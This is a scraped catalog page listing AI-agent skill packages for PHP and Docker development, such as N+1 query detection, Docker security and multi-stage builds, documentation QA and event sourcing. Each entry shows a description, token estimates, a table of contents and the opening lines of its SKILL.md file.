0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Antipattern Catalog
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore4,566 bytesSKILL.mdcore4,566 bytesSKILL.mdcore4,566 bytesSKILL.mdcore4,566 bytes
Read SKILL.md
# Docker Antipattern Detection
Analyze Dockerfiles for antipatterns causing bloated images, poor caching, and unreliable builds.
## Antipattern Catalog
### 1. COPY Before Dependency Install
```dockerfile
# BAD: Cache busted on every code change
COPY . /var/www/html
RUN composer install --no-dev
# GOOD: Dependencies first, source secondView the complete source on GitHubdetect-memory-issues
When your agent uses it
Detects memory issues in PHP code. Finds large arrays in memory, missing generators, memory leaks, unbounded data loading, inefficient data structures.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,789 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Memory Estimation
- Severity Classification
- Output Format
Files
SKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytesSKILL.mdcore6,853 bytes
Read SKILL.md
# Memory Issue Detection
Analyze PHP code for memory usage problems.
## Detection Patterns
### 1. Large Arrays in Memory
```php
// MEMORY HOG: Loading entire table
$users = $repository->findAll(); // 1M users = OOM
foreach ($users as $user) {
process($user);
}View the complete source on GitHubdetect-n-plus-one
When your agent uses it
Detects N+1 query problems in PHP code. Finds queries in loops, missing eager loading, lazy loading abuse, relationship traversal issues.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,521 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Detection in Doctrine
- Solutions
- Severity Classification
- Output Format
Files
SKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytesSKILL.mdcore5,430 bytes
Read SKILL.md
# N+1 Query Detection
Analyze PHP code for N+1 query problems that cause excessive database queries.
## Detection Patterns
### 1. Query Inside Loop
```php
// N+1: Query for each user
$users = $userRepository->findAll();
foreach ($users as $user) {
$orders = $orderRepository->findByUser($user); // Query per iteration
// ...View the complete source on GitHubdetect-test-smells
When your agent uses it
Detects test antipatterns and code smells in PHP test suites. Identifies 15 smells (Logic in Test, Mock Overuse, Fragile Tests, Mystery Guest, etc.) with fix recommendations and refactoring patterns for testability.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
880 tokensWhen the skill is activated
Reference documents
3,895 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 15 Test Smells
- Quick Detection Commands
- Output Format
- Severity Matrix
- Related Skills
- References
Files
SKILL.mdcore3,288 bytesSKILL.mdcore3,288 bytesreferences/refactoring-patterns.mddoc5,258 bytesreferences/smell-catalog.mddoc9,564 bytes
Read SKILL.md
# Test Smell Detection
Identifies antipatterns and code smells in PHP test suites.
## 15 Test Smells
| # | Smell | Severity | Detection Pattern |
|---|-------|----------|-------------------|
| 1 | Logic in Test | High | `if/for/while/foreach` in tests |
| 2 | Mock Overuse | High | >3 mocks in single test |
| 3 | Test Interdependence | High | `static $`, `@depends` |
| 4 | Fragile Test | High | `expects(exactly)`, `at()` |
| 5 | Mystery Guest | Medium | `file_get_contents`, `getenv` |
| 6 | Eager Test | Medium | Multiple unrelated assertions |View the complete source on GitHubdetect-unnecessary-loops
When your agent uses it
Detects unnecessary loop patterns in PHP code. Finds nested loop inefficiency, redundant iterations, in-loop operations that could be batched, loop invariant code.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,729 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Complexity Comparison
- Severity Classification
- Output Format
Files
SKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytesSKILL.mdcore5,954 bytes
Read SKILL.md
# Unnecessary Loop Detection
Analyze PHP code for inefficient loop patterns.
## Detection Patterns
### 1. Nested Loop Inefficiency
```php
// O(n*m): Nested search
foreach ($users as $user) {
foreach ($orders as $order) {
if ($order->getUserId() === $user->getId()) {
// Found order for userView the complete source on GitHubdiagram-knowledge
When your agent uses it
Diagram knowledge base. Provides Mermaid syntax, C4 model, diagram types, and best practices for technical diagrams.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
2,365 tokensWhen the skill is activated
Reference documents
13,242 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Diagram Types Overview
- Mermaid Basics
- C4 Model
- Best Practices
- Common Antipatterns
- Tool Comparison
- Diagram Selection Guide
- PHP-Specific Diagrams
- References
Files
SKILL.mdcore9,146 bytesreferences/c4-model.mddoc16,798 bytesreferences/diagram-tools.mddoc13,441 bytesreferences/mermaid-syntax.mddoc5,035 bytesreferences/sequence-patterns.mddoc15,641 bytes
Read SKILL.md
# Diagram Knowledge Base
Quick reference for technical diagrams, Mermaid syntax, and C4 model.
## Diagram Types Overview
| Type | Use Case | When to Use |
|------|----------|-------------|
| **C4 Context** | System boundaries | External actors, systems |
| **C4 Container** | Deployable units | Apps, databases, services |
| **C4 Component** | Internal structure | Classes, modules in container |
| **Sequence** | Interactions | Request flows, protocols |
| **Class** | Structure | Domain model, relationships |
| **ER** | Data | Database schema |View the complete source on GitHubdiscover-project-logs
When your agent uses it
Discovers log files in PHP projects. Knows standard paths for Laravel, Symfony, CodeIgniter, Yii2/Yii3, PHP-FPM, Docker, CI/CD, web servers, and databases. Parses framework configs to extract custom log paths. Scores and prioritizes findings.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
2,314 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Discovery Strategy (3 Steps)
- Framework Log Paths
- Infrastructure Log Paths
- Discovery Implementation
- Scoring and Prioritization
- Output Format
- Integration Notes
Files
SKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytesSKILL.mdcore8,078 bytes
Read SKILL.md
# Project Log Discovery
Discovers and prioritizes log files across PHP project ecosystems. Provides Glob/Grep patterns for auto-detection, parses framework configs for custom paths, and scores results by relevance.
## Discovery Strategy (3 Steps)
```
Step 1: Auto-discover — Glob/Grep by known framework paths
Step 2: Config-based — Parse framework config files for custom log paths
Step 3: Ask user — If nothing found, report back to coordinator for user interaction
```
**Important:** Specialist agents (bug-hunter, ci-debugger, etc.) do NOT have `AskUserQuestion` tool. If no logs found, the agent must report "No logs found automatically" back to the coordinator. The coordinator (command-level, opus model) handles user interaction via `AskUserQuestion`.
View the complete source on GitHubdocker-base-images-knowledge
When your agent uses it
Docker base images knowledge base for PHP. Provides image selection guidelines, Alpine vs Debian comparison, and version pinning strategies.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,470 tokensWhen the skill is activated
Reference documents
1,267 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- PHP Official Images Overview
- Alpine vs Debian Comparison
- Image Selection Decision Tree
- Version Pinning Strategies
- Common Alpine Issues and Solutions
- Image Lifecycle Best Practices
- References
Files
SKILL.mdcore6,147 bytesreferences/image-comparison.mddoc5,196 bytes
Read SKILL.md
# Docker Base Images Knowledge Base for PHP
Guidelines for selecting and managing PHP Docker base images.
## PHP Official Images Overview
| Image Tag Pattern | Base OS | Size | Use Case |
|-------------------|---------|------|----------|
| `php:8.4-fpm` | Debian Bookworm | ~480MB | Production FPM (full compatibility) |
| `php:8.4-fpm-alpine` | Alpine 3.20 | ~80MB | Production FPM (minimal size) |
| `php:8.4-cli` | Debian Bookworm | ~450MB | CLI scripts, cron jobs, workers |
| `php:8.4-cli-alpine` | Alpine 3.20 | ~50MB | Lightweight CLI tasks |
| `php:8.4-apache` | Debian Bookworm | ~500MB | All-in-one Apache+PHP |
| `php:8.4-zts` | Debian Bookworm | ~460MB | Thread-safe (parallel ext) |View the complete source on GitHubdocker-buildkit-knowledge
When your agent uses it
Docker BuildKit knowledge base. Provides cache mount patterns, build secrets, SSH forwarding, and parallel build optimization.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,782 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- BuildKit Syntax Header
- Mount Types Overview
- Cache Mount Patterns
- Build Secrets
- SSH Forwarding
- Parallel Stage Builds
- Inline Cache
- Buildx Multi-Platform
- Performance Comparison
- Detection Patterns
Files
SKILL.mdcore7,231 bytesSKILL.mdcore7,231 bytesSKILL.mdcore7,231 bytesSKILL.mdcore7,231 bytesSKILL.mdcore7,231 bytesSKILL.mdcore7,231 bytesSKILL.mdcore7,231 bytes
Read SKILL.md
# Docker BuildKit Knowledge Base
Quick reference for BuildKit features and optimization patterns.
## BuildKit Syntax Header
```dockerfile
# syntax=docker/dockerfile:1
```
Always include this as the first line to enable BuildKit features. This directive tells Docker to use the latest stable Dockerfile syntax with BuildKit support.
## Mount Types Overview
View the complete source on GitHubdocker-compose-knowledge
When your agent uses it
Docker Compose knowledge base for PHP stacks. Provides service configuration patterns, health checks, networking, and environment management.
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
2,757 tokensWhen the skill is activated
Reference documents
1,625 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- PHP Stack Architecture
- Compose File Structure
- Health Check Patterns
- Volume Strategies
- Environment Management
- Override Files Pattern
- Profiles
- Network Configuration
- Common Patterns
- References
Files
SKILL.mdcore12,662 bytesSKILL.mdcore12,662 bytesSKILL.mdcore12,662 bytesSKILL.mdcore12,662 bytesSKILL.mdcore12,662 bytesSKILL.mdcore12,662 bytesSKILL.mdcore12,662 bytesreferences/service-configs.mddoc5,327 bytes
Read SKILL.md
# Docker Compose Knowledge Base for PHP Stacks
Service configuration patterns and best practices for Docker Compose in PHP applications.
## PHP Stack Architecture
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ DOCKER COMPOSE PHP STACK │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ FRONTEND NETWORK │ │
│ │ │ │View the complete source on GitHubdocker-knowledge
When your agent uses it
Docker knowledge base for PHP projects. Provides patterns, best practices, and guidelines for Dockerfile, Compose, security, and production readiness.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,168 tokensWhen the skill is activated
Reference documents
11,940 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Concepts
- PHP Docker Image Types
- Quick Checklists
- Common Violations Quick Reference
- PHP-Specific Best Practices
- References
Files
SKILL.mdcore5,575 bytesSKILL.mdcore5,575 bytesSKILL.mdcore5,575 bytesreferences/compose-patterns.mddoc10,927 bytesreferences/image-selection.mddoc6,963 bytesreferences/multistage-patterns.mddoc9,279 bytesreferences/production-checklist.mddoc10,097 bytesreferences/security-hardening.mddoc7,419 bytes
Read SKILL.md
# Docker Knowledge Base
Quick reference for Docker patterns and PHP-specific guidelines.
## Core Concepts
```
┌─────────────────────────────────────────────────────────────────┐
│ DOCKER FOR PHP │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Dockerfile → Build image instructions │
│ docker-compose.yml → Multi-container orchestration │
│ .dockerignore → Build context exclusions │View the complete source on GitHubdocker-multistage-knowledge
When your agent uses it
Docker multi-stage build knowledge base. Provides patterns for PHP dependency, extension builder, and production stages with cache optimization.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,956 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Multi-Stage Build Flow
- Stage Naming Convention
- Stage 1: Composer Dependencies
- Stage 2: PHP Extensions Builder
- Stage 3: Production Final
- Cache Optimization Patterns
- ARG Scoping Across Stages
- COPY --from Patterns
- Parallel Builds with BuildKit
- Target Selection
- Minimizing Final Image
- References
Files
SKILL.mdcore9,414 bytesSKILL.mdcore9,414 bytesSKILL.mdcore9,414 bytesSKILL.mdcore9,414 bytesSKILL.mdcore9,414 bytes
Read SKILL.md
# Docker Multi-Stage Build Knowledge Base
Patterns and best practices for multi-stage Docker builds in PHP applications.
## Multi-Stage Build Flow
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ MULTI-STAGE BUILD PIPELINE │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Stage 1: deps Stage 2: extensions Stage 3: build │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Composer │ │ PHP Ext │ │ App Build │ │View the complete source on GitHubdocker-networking-knowledge
When your agent uses it
Docker networking knowledge base. Provides network configuration patterns, DNS resolution, port mapping, and multi-service communication for PHP.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
2,229 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Network Types
- PHP-FPM + Nginx Communication
- DNS Resolution in Compose
- Port Mapping Strategies
- Network Segmentation
- Inter-Container Communication
- host.docker.internal for Local Development
- Troubleshooting
- References
Files
SKILL.mdcore12,689 bytesSKILL.mdcore12,689 bytesSKILL.mdcore12,689 bytesSKILL.mdcore12,689 bytesSKILL.mdcore12,689 bytesSKILL.mdcore12,689 bytes
Read SKILL.md
# Docker Networking Knowledge Base
Network configuration patterns and communication strategies for PHP Docker stacks.
## Network Types
| Type | Driver | Use Case | Isolation | Performance |
|------|--------|----------|-----------|-------------|
| **Bridge** | `bridge` | Default single-host | Container-level | Good |
| **Host** | `host` | Maximum performance | None (shares host) | Best |
| **Overlay** | `overlay` | Multi-host (Swarm/K8s) | Container-level | Moderate |
| **None** | `none` | Complete isolation | Full | N/A |
| **Macvlan** | `macvlan` | Direct LAN access | Network-level | Good |
View the complete source on GitHubdocker-orchestration-knowledge
When your agent uses it
Docker orchestration knowledge base. Provides patterns for Swarm, Kubernetes basics, service scaling, and load balancing for PHP.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
2,089 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Docker Swarm
- Kubernetes Overview
- Scaling PHP-FPM
- Load Balancing Patterns
- Service Discovery
- Rolling Updates
- Config and Secret Management
- Detection Patterns
Files
SKILL.mdcore9,397 bytesSKILL.mdcore9,397 bytesSKILL.mdcore9,397 bytesSKILL.mdcore9,397 bytes
Read SKILL.md
# Docker Orchestration Knowledge Base
Quick reference for container orchestration patterns with PHP applications.
## Docker Swarm
### Core Concepts
```
+---------------------------------------------------------------------------+
| DOCKER SWARM ARCHITECTURE |
+---------------------------------------------------------------------------+
| |
| Manager Nodes (Raft consensus) |View the complete source on GitHubdocker-php-extensions-knowledge
When your agent uses it
Docker PHP extensions knowledge base. Provides installation patterns for common extensions, build dependency management, and PECL usage.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,937 tokensWhen the skill is activated
Reference documents
2,029 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Extension Categories
- Installation Methods
- Alpine vs Debian Build Dependencies
- Runtime vs Build Dependencies Pattern
- Extension Builder Stage Pattern
- Framework Extension Combinations
- OPcache Configuration for Production
- Troubleshooting
- References
Files
SKILL.mdcore7,040 bytesSKILL.mdcore7,040 bytesreferences/extensions-matrix.mddoc6,267 bytes
Read SKILL.md
# Docker PHP Extensions Knowledge Base
Patterns for installing, building, and managing PHP extensions in Docker containers.
## Extension Categories
| Category | Extensions | Purpose |
|----------|-----------|---------|
| **Core** | opcache, intl, mbstring, bcmath | Performance, i18n, math |
| **Database** | pdo_pgsql, pdo_mysql, pgsql, mysqli | Database connectivity |
| **Cache** | redis, apcu, memcached | Caching layers |
| **Crypto** | sodium, openssl | Encryption, hashing |
| **Image** | gd, imagick | Image processing |
| **Archive** | zip, zlib, bz2 | Compression |View the complete source on GitHubdocker-production-knowledge
When your agent uses it
Docker production knowledge base for PHP. Provides deployment patterns, health checks, graceful shutdown, logging, and monitoring.
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
2,168 tokensWhen the skill is activated
Reference documents
1,407 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Production Image Requirements
- Health Check Patterns
- Graceful Shutdown
- Logging Strategy
- OPcache Production Configuration
- PHP-FPM Tuning
- Resource Limits
- Update Strategies
- Detection Patterns
- References
Files
SKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesSKILL.mdcore8,820 bytesreferences/production-configs.mddoc4,982 bytes
Read SKILL.md
# Docker Production Knowledge Base
Quick reference for production-ready Docker patterns in PHP applications.
## Production Image Requirements
```
+---------------------------------------------------------------------------+
| PRODUCTION IMAGE CHECKLIST |
+---------------------------------------------------------------------------+
| |
| Build |
| +--------------------------------------------------------------------+ |
| | Multi-stage build | Pinned versions | BuildKit enabled | |View the complete source on GitHubdocker-scanning-knowledge
When your agent uses it
Docker image scanning knowledge base. Provides vulnerability detection, compliance checking, and SBOM generation for PHP container images.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,964 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Scanning Tools Comparison
- Trivy
- Grype
- Docker Scout
- CI Integration Patterns
- SBOM Formats
- Compliance Policies
- Fix Strategies
- Automated Scanning Workflow
- Detection Patterns
Files
SKILL.mdcore7,894 bytesSKILL.mdcore7,894 bytesSKILL.mdcore7,894 bytesSKILL.mdcore7,894 bytesSKILL.mdcore7,894 bytesSKILL.mdcore7,894 bytesSKILL.mdcore7,894 bytesSKILL.mdcore7,894 bytes
Read SKILL.md
# Docker Image Scanning Knowledge Base
Quick reference for vulnerability scanning and compliance checking in PHP container images.
## Scanning Tools Comparison
| Tool | Type | License | Strengths |
|------|------|---------|-----------|
| **Trivy** | CLI, CI, Operator | Apache 2.0 | OS + app deps, IaC, SBOM, fast |
| **Grype** | CLI, CI | Apache 2.0 | Fast, Syft integration, accurate |
| **Snyk** | CLI, CI, IDE, Web | Commercial | Deep analysis, fix suggestions |
| **Docker Scout** | CLI, Desktop | Commercial | Docker-native, real-time, policy |
## TrivyView the complete source on GitHubdocker-security-knowledge
When your agent uses it
Docker security knowledge base for PHP. Provides hardening patterns, vulnerability scanning, secrets management, and OWASP container guidelines.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,889 tokensWhen the skill is activated
Reference documents
1,098 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Security Layers
- Non-Root User Patterns
- Secrets Management
- Image Scanning Tools
- Capability Management
- Read-Only Filesystem
- Network Policies
- OWASP Docker Top 10
- Detection Patterns
- References
Files
SKILL.mdcore8,430 bytesSKILL.mdcore8,430 bytesSKILL.mdcore8,430 bytesSKILL.mdcore8,430 bytesSKILL.mdcore8,430 bytesSKILL.mdcore8,430 bytesSKILL.mdcore8,430 bytesSKILL.mdcore8,430 bytesreferences/security-checklist.mddoc4,703 bytes
Read SKILL.md
# Docker Security Knowledge Base
Quick reference for Docker security hardening patterns in PHP applications.
## Security Layers
```
+---------------------------------------------------------------------------+
| DOCKER SECURITY LAYERS |
+---------------------------------------------------------------------------+
| |
| Layer 1: Build Security |
| +--------------------------------------------------------------------+ |
| | Minimal base image | Pinned versions | No secrets in layers | |View the complete source on GitHubdocker-troubleshooting-knowledge
When your agent uses it
Docker troubleshooting knowledge base. Provides debugging patterns, common error solutions, and diagnostic commands for PHP containers.
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
1,729 tokensWhen the skill is activated
Reference documents
1,832 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Common Build Errors
- Common Runtime Errors
- Diagnostic Commands
- PHP-FPM Debugging
- Network Debugging
- Volume and Permission Debugging
- Compose-Specific Debugging
- Quick Diagnosis Flowchart
- References
Files
SKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesSKILL.mdcore7,038 bytesreferences/error-solutions.mddoc7,297 bytes
Read SKILL.md
# Docker Troubleshooting Knowledge Base
Quick reference for debugging Docker containers in PHP projects.
## Common Build Errors
| Error | Cause | Solution |
|-------|-------|----------|
| `failed to compute cache key` | File not in build context | Check `.dockerignore`, verify file path |
| `returned a non-zero code: 137` | OOM during build | Increase Docker memory or reduce parallel ops |
| `Could not find package` | Composer can't resolve deps | Check `composer.lock`, mount auth secrets |
| `E: Unable to locate package` | Missing apt repository | Add required repo or use correct base image |
| `configure: error: ... not found` | Missing dev library | Install `-dev` package before ext install |
| `Permission denied` | Wrong user/permissions | Fix `chown`/`chmod` or adjust USER directive |View the complete source on GitHubdocumentation-knowledge
When your agent uses it
Documentation knowledge base. Provides documentation types, audiences, best practices, and antipatterns for technical documentation creation.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
1,566 tokensWhen the skill is activated
Reference documents
9,036 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Documentation Types
- Audience Analysis
- Structure Principles
- Quick Start
- Documentation
- Contributing
- License
- Best Practices
- Common Antipatterns
- Documentation as Code
- Markdown Best Practices
- References
Files
SKILL.mdcore6,514 bytesSKILL.mdcore6,514 bytesSKILL.mdcore6,514 bytesSKILL.mdcore6,514 bytesSKILL.mdcore6,514 bytesSKILL.mdcore6,514 bytesSKILL.mdcore6,514 bytesSKILL.mdcore6,514 bytesreferences/adr-format.mddoc9,050 bytesreferences/api-documentation.mddoc7,715 bytesreferences/architecture-docs.mddoc7,451 bytesreferences/diagramming.mddoc7,053 bytesreferences/readme-patterns.mddoc6,087 bytes
Read SKILL.md
# Documentation Knowledge Base
Quick reference for technical documentation types, audiences, and best practices.
## Documentation Types
### By Purpose
| Type | Audience | Goal | Examples |
|------|----------|------|----------|
| **README** | New users | Quick start | badges, install, basic usage |
| **Architecture** | Developers | System understanding | layers, components, decisions |
| **API** | Integrators | Integration | endpoints, params, responses |
| **ADR** | Team | Decision history | context, decision, consequences |View the complete source on GitHubdocumentation-qa-knowledge
When your agent uses it
Documentation QA knowledge base. Provides quality checklists, audit criteria, and metrics for documentation review.
What it loads into context
Frontmatter
29 tokensAlways available to the agent
SKILL.md
1,907 tokensWhen the skill is activated
Reference documents
8,108 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quality Dimensions
- Audit Checklists
- Detection Patterns
- Issue Severity Levels
- Audit Report Template
- Quality Improvement Guide
- Automation Opportunities
- References
Files
SKILL.mdcore7,262 bytesSKILL.mdcore7,262 bytesSKILL.mdcore7,262 bytesSKILL.mdcore7,262 bytesSKILL.mdcore7,262 bytesSKILL.mdcore7,262 bytesreferences/audit-procedures.mddoc4,602 bytesreferences/automation.mddoc9,133 bytesreferences/common-issues.mddoc7,894 bytesreferences/scoring-rubrics.mddoc9,255 bytes
Read SKILL.md
# Documentation QA Knowledge Base
Quick reference for documentation quality assessment and audit criteria.
## Quality Dimensions
### Core Quality Metrics
| Dimension | Description | Weight |
|-----------|-------------|--------|
| **Completeness** | All APIs/features documented | 25% |
| **Accuracy** | Code matches documentation | 25% |
| **Clarity** | Understandable, no jargon | 20% |
| **Consistency** | Terms, style, format uniform | 15% |View the complete source on GitHubeda-knowledge
When your agent uses it
Event-Driven Architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for EDA audits including messaging, pub/sub, and saga patterns.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,844 tokensWhen the skill is activated
Reference documents
15,391 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- PHP 8.4 Event-Driven Patterns
- Common Violations Quick Reference
- Detection Patterns
- References
Files
SKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesSKILL.mdcore9,778 bytesreferences/antipatterns.mddoc15,591 bytesreferences/event-patterns.mddoc15,340 bytesreferences/messaging-patterns.mddoc15,979 bytesreferences/saga-patterns.mddoc22,514 bytes
Read SKILL.md
# Event-Driven Architecture Knowledge Base
Quick reference for Event-Driven Architecture (EDA) patterns and PHP implementation guidelines.
## Core Principles
### Event-Driven Architecture Overview
```
┌─────────────────────────────────────────────────────────────────────────┐
│ EVENT-DRIVEN ARCHITECTURE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────────┐ ┌──────────────────┐ │View the complete source on GitHubestimate-complexity
When your agent uses it
Estimates algorithm complexity in PHP code. Analyzes time and space complexity, detects O(n²) algorithms, exponential growth patterns, inefficient data structures.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
2,025 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Complexity Patterns
- Complexity Quick Reference
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytesSKILL.mdcore7,033 bytes
Read SKILL.md
# Algorithm Complexity Estimation
Analyze PHP code to estimate time and space complexity.
## Complexity Patterns
### 1. O(n²) Algorithms
```php
// O(n²): Nested loop over same collection
foreach ($items as $i => $item1) {
foreach ($items as $j => $item2) {
if ($i !== $j && $item1->matches($item2)) {
// ComparisonView the complete source on GitHubestimate-pipeline-time
When your agent uses it
Estimates and optimizes CI/CD pipeline execution time. Analyzes job dependencies, identifies bottlenecks, and suggests parallelization strategies.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
2,554 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Pipeline Analysis
- Time Estimation Model
- Optimization Strategies
- Analysis Output Format
- Optimized Pipeline
- Summary
Files
SKILL.mdcore10,362 bytesSKILL.mdcore10,362 bytes
Read SKILL.md
# Pipeline Time Estimator
Estimates pipeline execution time and identifies optimization opportunities.
## Pipeline Analysis
### Execution Flow Visualization
```
┌─────────────────────────────────────────────────────────────────┐
│ PIPELINE EXECUTION FLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Time 0 2 4 6 8 10 12 14 16 18 20 │View the complete source on GitHubevent-sourcing-knowledge
When your agent uses it
Event Sourcing knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Event Sourcing architecture audits.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,369 tokensWhen the skill is activated
Reference documents
16,474 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 Event Sourcing Patterns
- References
Files
SKILL.mdcore6,456 bytesSKILL.mdcore6,456 bytesSKILL.mdcore6,456 bytesSKILL.mdcore6,456 bytesreferences/antipatterns.mddoc13,571 bytesreferences/event-store-patterns.mddoc14,102 bytesreferences/projection-patterns.mddoc15,111 bytesreferences/snapshot-patterns.mddoc15,208 bytesreferences/versioning-patterns.mddoc13,864 bytes
Read SKILL.md
# Event Sourcing Knowledge Base
Quick reference for Event Sourcing architecture patterns and PHP implementation guidelines.
## Core Principles
